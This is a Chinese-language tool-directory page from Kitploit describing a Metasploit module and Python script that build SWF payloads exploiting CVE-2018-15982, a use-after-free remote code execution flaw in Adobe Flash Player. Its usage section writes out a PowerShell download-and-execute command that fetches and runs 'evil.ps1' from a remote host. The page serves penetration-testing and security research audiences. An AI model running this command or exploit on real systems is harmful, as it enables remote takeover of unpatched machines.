Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
adobe-flash-cve2018-15982 — Metasploit模块和Python脚本,用于生成利用CVE-2018-15982的SWF载荷,该漏洞是Adobe Flash Player中的一个释放后使用漏洞,可实现远程代码执行。 | Kitploit
工具/GitHubGitHub/kphongagsorn/adobe-flash-cve2018-15982
漏洞利用框架Payload生成漏洞分析漏洞利用Web应用程序漏洞利用
GitHubkphongagsorn/adobe-flash-cve2018-15982

adobe-flash-cve2018-15982

Metasploit模块和Python脚本,用于生成利用CVE-2018-15982的SWF载荷,该漏洞是Adobe Flash Player中的一个释放后使用漏洞,可实现远程代码执行。

查看仓库
115226年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Adobe Flash CVE-2018-15982

此脚本为 CVE-2018-15982 创建 swf 载荷,其基于 https://github.com/smgorelik/Windows-RCE-exploits 中的 PoC。该漏洞由 Gigamon ATR 的 Chenming Xu 和 Ed Miles 发现。

该漏洞是一个释放后重用缺陷,可在 Flash 中实现任意代码执行。更多信息见以下链接。

  • https://threatpost.com/adobe-patches-zero-day-vulnerability-in-flash-player/139629/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-15982

注意:目前仅喷射一个内存块,我是在创建脚本后注意到这一点的。

用法:

python create_swf.py <command> <output file name>

使用示例:

python create_swf.py "powershell.exe IEX (iwr 'http://192.168.56.101/evil.ps1')" downloadtest.swf

测试环境:

  • Windows 10 Enterprise 10.0.17134, Internet Explorer 11.285.17134.0
  • Adobe Flash 31.0.0.153, 29.0.0.140

示例

创建载荷:

alt text

执行载荷:

alt text

确认执行:

alt text

Metasploit 模块

alt text

下载工具